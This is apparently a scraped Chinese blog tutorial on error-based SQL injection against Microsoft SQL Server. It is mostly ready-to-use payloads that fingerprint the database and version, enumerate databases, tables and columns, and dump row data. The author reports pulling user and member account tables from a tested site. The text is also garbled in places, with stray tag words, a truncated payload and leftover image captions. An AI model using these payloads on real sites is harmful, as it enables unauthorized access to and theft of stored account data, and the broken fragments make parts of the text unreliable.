大哥帶的MSsql注入(SQL Server)--預習

判斷數據庫類型
and exists (select * from sysobjects)--返回正常爲mssql(也名sql server)
and exists (select count(*) from sysobjects)--有時上面那個語句不行就試試這個哈
sql

判斷數據庫版本
       and 1=@@version--這個語句要在有回顯的模式下才能夠哦
       and substring((select @@version),22,4)='2008'--適用於無回顯模式,後面的2008就是數據庫版本,返回正常就是2008的複製代碼第一條語句執行效果圖(相似):第二條語句執行效果圖:(若是是2008的話就返回正常)
數據庫

獲取全部數據庫的個數 (一下3條語句可供選擇使用)   
1. and 1=(select quotename(count(name)) from master..sysdatabases)--
2. and 1=(select cast(count(name) as varchar)%2bchar(1) from master..sysdatabases) --
3. and 1=(select str(coun、    and 1=(select quotename(count(name)) from master..sysdatabases where dbid>5)--
    and 1=(select str(count(name))%2b'|' from master..sysdatabases where dbid>5) --
    and 1=(select cast(count(name) as varchar)%2bchar(1) from master..sysdatabases where dbid>5) --
說明:dbid從1-4的數據庫通常爲系統數據庫.
測試

獲取數據庫 (該語句是一次性獲取所有數據庫的,且語句只適合>=2005,兩條語句可供選擇使用)   
    and 1=(select quotename(name) from master..sysdatabases FOR XML PATH(''))--
    and 1=(select '|'%2bname%2b'|' from master..sysdatabases FOR XML PATH(''))--
spa

獲取當前數據庫  
and db_name()>0
server

and 1=(select db_name())--string

獲取當前數據庫中的表(有2個語句可供選擇使用)【下列語句可一次爆數據庫全部表(只限於mssql2005及以上版本)】
    and 1=(select quotename(name) from 數據庫名..sysobjects where xtype='U' FOR XML PATH(''))-- 
    and 1=(select '|'%2bname%2b'|' from 數據庫名..sysobjects where xtype='U' FOR XML PATH(''))--複製代碼測試效果圖:獲得 3個敏感的表:Whir_Sec_Users/Whir_Mem_Member/Whir_Mem_MemberGroup
io

得到表裏的列
一次爆指定表的全部列(只限於mssql2005及以上版本):
    and 1=(select quotename(name) from 數據庫名..syscolumns where id =(select id from 數據庫名..sysobjects where name='指定表名') FOR XML PATH(''))-- 
    and 1=(select '|'%2bname%2b'|' from 數據庫名..syscolumns where id =(select id from 數據庫名..sysobjects where name='指定表名') FOR XML PATH(''))--
ast

效果圖:既然有帳戶信息,我就無論是否是管理員的的了,我帖子的目的不是爲了獲得管理員的信息,只是爲了演示能夠經過這個方法來獲取相關信息。class

獲取指定數據庫中的表的列的數據庫
逐條爆指定表的全部字段的數據(只限於mssql2005及以上版本):
    and 1=(select top 1 * from 指定數據庫..指定表名 where排除條件 FOR XML PATH(''))--
一次性爆N條全部字段的數據(只限於mssql2005及以上版本):
    and 1=(select top N * from 指定數據庫..指定表名 FOR XML PATH(''))--複製代碼第一條語句:and 1=(select top 1 * from 指定數據庫..指定表名 FOR XML PATH(''))--測試效果圖:----------------------------------加上where條件篩選結果出來會更加好,如:where and name like '%user%'  就會篩選出含有user關鍵詞的出來。用在篩選表段時很不錯
object

相關文章
相關標籤/搜索